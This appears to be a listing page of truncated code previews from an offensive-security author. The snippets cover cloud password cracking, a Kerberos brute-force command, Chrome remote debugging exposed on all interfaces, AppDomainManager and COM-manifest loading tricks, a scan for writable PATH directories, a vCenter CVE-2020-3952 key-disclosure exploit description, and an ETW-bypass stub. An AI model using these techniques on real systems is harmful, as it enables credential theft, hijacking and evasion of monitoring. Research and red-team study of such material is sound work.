NotMedic

Running Hashcat on Google Cloud's GPU-based VMs

In February 2017, Google announced the availability GPU-based VMs. I spun up a few of these instances, and ran some benchmarks. Along the way, I wrote down the steps taken to provision these VM instances, and install relevant drivers.

Update April 2019: Updated instructions to use instances with the Tesla T4 GPUs.

NotMedic

/*

================================ Compile as a .Net DLL ==============================
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs

*/

using System.Windows.Forms;

namespace TestNamespace

NotMedic

Target

Start Chrome with the following flags:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"

--remote-debugging-port=9222

--remote-debugging-address=0.0.0.0

NotMedic

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

NotMedic

[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW([MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs);
 
public static string[] CommandLineToArgs(string commandLine)
{
    int argc;
    var argv = CommandLineToArgvW(commandLine, out argc);
    if (argv == IntPtr.Zero)
        throw new System.ComponentModel.Win32Exception();
    try

NotMedic

new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Windows\\System32\\Tasks';
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = "mydll, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = "MyAppDomainManager";
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';


var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"> <dependency><dependentAssembly>        <assemblyIdentity name="tasks" version="0.0.0.0"/>      </dependentAssembly> </dependency>	<assemblyIdentity name="tasks" type="win32" version="0.0.0.0" /><description>Built with love by Casey Smith @subTee </description><clrClass   name="MyDLL.Operations"   clsid="{31D2B969-7608-426E-9D8E-A09FC9A5ACDC}"   progid="MyDLL.Operations"   ru

NotMedic

If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
    Write-Warning "This script will not function with administrative privileges. Please run as a normal user."
    Break
}

$outfile = "acltestfile"
set-variable -name paths -value (Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment' -Name PATH).path.Split(";")
Foreach ($path in $paths) {
    # This prints a table of ACLs
    # get-acl $path | %{ $_.Access  } | ft -Wrap -AutoSize -property IdentityReference, AccessControlType, FileSystemRights

NotMedic

Exploit for VMware vCenter Directory Service (vmdir) - CVE-2020-3952 / VMSA-2020-0006

This is my proof-of-concept exploit code for the VMware vCenter Directory Service (vmdir) sensitive information disclosure vulnerability (CVE-2020-3952 / VMSA-2020-0006).

It turns out that the vmdir service, which provides an LDAP directory server (and more), allows anonymous LDAP connections (also called LDAP binding) in the ACL MODE: Legacy configuration that is present after upgrading from vCenter 6.5. While the LDAP tree doesn't expose password hashes for administrative users, it does expose the VMware SSO server's SAML identity provider (IdP) certificates and private key. This key can be downloaded and used to sign arbitrary SAML responses, allowing an attacker to

NotMedic

GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe

NotMedic

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace EtwpTest
{
    class Program
    {
        static void Main(string[] args)
        {